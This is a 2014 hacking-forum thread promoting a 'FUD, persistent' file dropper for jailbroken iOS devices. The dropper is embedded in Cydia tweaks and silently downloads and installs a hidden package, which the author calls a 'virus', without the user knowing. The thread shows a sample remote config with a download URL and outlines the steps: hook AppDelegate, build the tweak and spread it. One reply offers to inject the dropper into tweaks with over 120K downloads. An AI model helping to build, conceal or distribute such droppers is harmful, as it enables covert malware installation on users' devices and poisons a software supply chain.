Thread: [\[Obj-C\] File dropper an Installer {iOS, Jailbroken} \[FUD, Persistent, Random Name\]](#)

aoshacker - September 16, 2014, 6:46 pm

Project:

- iOS Jailbroken File Dropper and Auto installer.

Currently, you add a couple of lines of code to your tweak and it will download a file, and install it without the user knowing it. It still has a few bugs that need to be ironed out and more testing needs to be done. If you are a iOS developer or are interested in the source please reply to this post then PM me :)

Changelog

Spoiler ([Click to View](#))

Version 0.0.1 [Initial Working Compile] (9/10/14)

Features

- File Dropper
- File Installer
- Random Name

Bugs

- Error in Cydia after drop
- Dropped tweak shows in cydia
- No on/off switch_____

Version 0.0.2 (NA/NA/2014)

Features

- Remote On/Off Switch
- No Cydia error after drop
- Dropped tweak does not show in Cydia
- Delayed Install

Bugs

- None ATM

Thanks for reading this, I'll be updating as progress is made. so make sure too look at the changelog for features and updates.

aoshacker - September 19, 2014, 5:46 am

Update (9/19/14)

Completed

- Remote On/Off Switch
- No Cydia error after drop
- Dropped tweak does not show in cydia
- Delayed Install (Sorta)

- Revamped entire configuration setup
- Ready for release

Please reply with any features you want me to add before I release it!

Thanks!

Sounds nice, unique project. You send the app to someone with a jailbroken device?

First you upload a config file to your server or dropbox (looks like this)

Code Enable=true

DylibName=Shorte

DownloadPath=https://dl.dropboxusercontent.com/s/6tmitq95gajopl/com.Yourname.short_0.0.1-34_iphoneos-arm.deb

Debug=true Then when you build a tweak you hook the AppDelegate then put the code I give you in it (Editing the config location to the location of the config you uploaded) Then you build your tweak and spread it. Then you can Enable it (Installs the file you set in the config), and if you are testing it enable debug mode (gives you a UIAlertView with the DylibName, DownloadPath, and if it's enabled). Awaiting suggestions of what to add before I release it ;)

Thanks for the feedback!

Thanks, installed on my iPad and it works in a smooth. Installed a few fuck-up tweak on it :P

But it shows up in Cydia, hope to see that update coming soon :P

? Ermm... ? It doesn't show up in cydia. The main tweak does but the virus doesn't ;)

Oh I thought that would be removed also :(Would be great but I guess impossible :D What about building up a team? If you want to, you can inject your thingie into my Cydia Tweaks, I got them on BigBoss and I got over 120K Downloads in total :D

It's not impossible but would be really fishy. You install a tweak, it doesn't show up in cydia.... but it's installed...
